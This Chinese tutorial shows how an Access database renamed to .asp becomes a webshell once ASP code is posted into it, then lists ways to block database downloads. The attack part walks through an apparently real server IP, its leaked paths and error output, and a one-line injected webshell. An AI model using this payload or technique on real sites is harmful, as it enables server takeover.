access改mdb为asp所带来的灾难 附mdb防下载方法

先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。

一.思路

  大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<%%>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。

二.示例

  随便找个目标,首先我们暴库,看是不是asp后缀的数据库:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

  返回:

复制代码 代码如下:

Microsoft VBScript 编译器错误 错误 '800a03f6'

缺少 'End'

/iisHelp/common/500-100.asp,行242

Microsoft JET Database Engine 错误 '80004005'

'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/test/conn.asp,行18

  我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:

<%execute request("b")%>

  这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到:

复制代码 代码如下:

/iisHelp/common/500-100.asp,行242

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'execute'

/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266

  注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。

三.其他一些问题和思路

  1.对于改了后缀为asp,还对数据库里加入了<%='a'-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。

  2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。

mdb防下载方法小结

1:在iis6下面 如果一个扩展名没有被定义则 访问的时候会出现文件没有找到的404错误。

因此你可以将数据库任意命名成一个绝对不会出现的文件名就可以达到安全的效果比如:xxxxx.xxxxxxxxxxx

2 将数据库放在网站的外部,那绝对就不能访问得到了。例如: e:/web/是你的网站

则把数据库放在e:/

3 正如楼上所说的 将.mdb 改成 .asp 同时倒入一个特殊的表 包含 <% 的二进制字符 这样访问文件出现 缺少脚本关闭符的提示。

4 或者将.mdb 改成.asp 同时用winhex打开 可以发现176以后有很长一部分 00 字符串 你随便在处改成一段asp代码 也可以实现防止下载,这样也不影响数据库功能。例如:

<%

response.write("非法访问")

response.end()

%>

现在在数据库的名称里 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20”

所以说 现在用这些已经不管用了。。

如果是自己的服务器的话就在IIS里设置一下:

新建一个空白的DLL文件,然后在IIS里添加映射,可执行文件选刚才建的这个DLL,扩展名填.mdb,保存后重启一下IIS服务即可。

时间: 2024-09-23 13:28:34

access改mdb为asp所带来的灾难 附mdb防下载方法的相关文章

access改mdb为asp所带来的灾难 附mdb防下载方法_应用技巧

先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门.入侵者可以利用asp/asa为后缀的数据库直接得到webshell. 一.思路 大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<%%>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>

改mdb为asp所带来的灾难

可能是随着网络安全技术的发展吧,管理员的素质都在提高,在使用access+asp系统时,为不数据库被人下载,到把mdb改为asp或asa.先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门.入侵者可以利用asp/asa为后缀的数据库直接得到webshell. 1. 思路 大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<% %>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理

ASP.NET中常用的文件上传下载方法

asp.net|上传|下载     文件的上传下载是我们在实际项目开发过程中经常需要用到的技术,这里给出几种常见的方法,本文主要内容包括:1.如何解决文件上传大小的限制2.以文件形式保存到服务器3.转换成二进制字节流保存到数据库以及下载方法4.上传Internet上的资源 第一部分:    首先我们来说一下如何解决ASP.NET中的文件上传大小限制的问题,我们知道在默认情况下ASP.NET的文件上传大小限制为2M,一般情况下,我们可以采用更改WEB.Config文件来自定义最大文件大小,如下:<

 ACCESS数据库防下载方法

下面的方法分别适用有IIS控制权和  虚拟空间的用户! 1:修改数据库名.这是常用的方法,将数据库名改成怪异名字或长名字以防他人猜测.如果被猜到数据库名则还能下载该数据库文件,但机率不大.如:将数据库database.mdb改成fjds$^&ijjkgf.mdb这种名称. 2:修改数据库后缀名.如改成database.inc.database.dwg.database.dll等等,请注意要在IIS中设置这些后缀的文件可以被解析,这样直接访问这个数据库文件时将会象程序一样被执行而不会被下载,以避免

改mdb为asp就能防下载技术的探讨

下载 引子:昨天和animator试验了一下,把data.mdb文件改名为data.asp文件后放在wwwroot目录里.然后在IE中输入data.asp路径后,发现IE显示一片空白,右键->察看源文件,跳出记事本,将内容另存为.mdb文件 ,用ACCESS打开,发现需要密码,也就是说至少文件头被破坏.然后用Flashget试验下载data.asp文件,并另存为data.mdb文件,发现用ACCESS打开完好无损!看来,好一些编程人员在开发的时候都认为,改了mdb后缀为asp就能防下载的概念,是

bak文件带来的灾难

第二章 bak文件带来的灾难 /**作者 :慈勤强Email:cqq1978@Gmail.com最后修改:2004-10-03**/ 一日,在网上与一朋友闲聊,朋友是做网站开发的,以前也与其讨论过技术方面的问题, 只是好久没有在网上见到了,就好像人间蒸发了一样. "Steven,最近忙些什么呢?",朋友先问到. "没什么,在家下岗待业呢,呵呵",我答道. "哦,那正好,我们最近刚刚完成了一个政府部门的信息系统,现在正处于试运行阶段, 你看看,给点意见,^-

ASP.NET页面间的传值的几种方法

asp.net|页面|asp.net ASP.NET WEB FORMS 给开发者提供了极好的事件驱动开发模式.然而这种简单的应用程序开发模式却给我们带来了一些小问题,举个例子,在传统的ASP应用程序中,你能够通过POST方法很容易的把一个值或多个值从一个页面传送到另一个页面,用同样的方法在ASP.NET中实现有点麻烦.在这里,我们可以通过其他方式来解决这种情形.ASP.NET为我们提供了三种方式,一种是可以通过用QueryString来传送相应的值,再一种是通过session变量来传送相应的值

Asp.NET中常用的一些优化性能的方法

asp.net|性能|优化 Asp.NET中常用的一些优化性能的方法 ASP.NET 的缓存机制相比ASP有很大的改进,本文档除对常用优化方法进行总结介绍外,强调了如何使用ASP.NET的缓存来获得最佳性能. 1:不要使用不必要的session和ASP中一样,在不必要的时候不要使用Session. 可以针对整个应用程序或者页面禁用会话状态: l 禁用页面的会话状态 l 禁用应用程序的会话状态 在应用程序的Web.Config文件的sessionstate配置节中,将mode属性设置为off. 即

asp 80070005 80070006 FSO等问题终级解决方法_应用技巧

Server.CreateObject 'ASP 0178 : 80070005' 80070006 FSO等问题终级解决方法在C:\WINDOWS\WinSxS文件夹上加上eveeryone用户,重启IIS,试下可以不,不行的话给everyone完全控制的权限,如果还不行,试试下边的说法吧 由于以前一直没用过XP系统(还是在大学那会xp刚出来的时候用过,以后就一直没用过xp,当时不喜欢它花里胡哨的界面,呵呵.),没碰到过这样的问题,今天在帮一个网友mm解决excel导入到sqlserver数据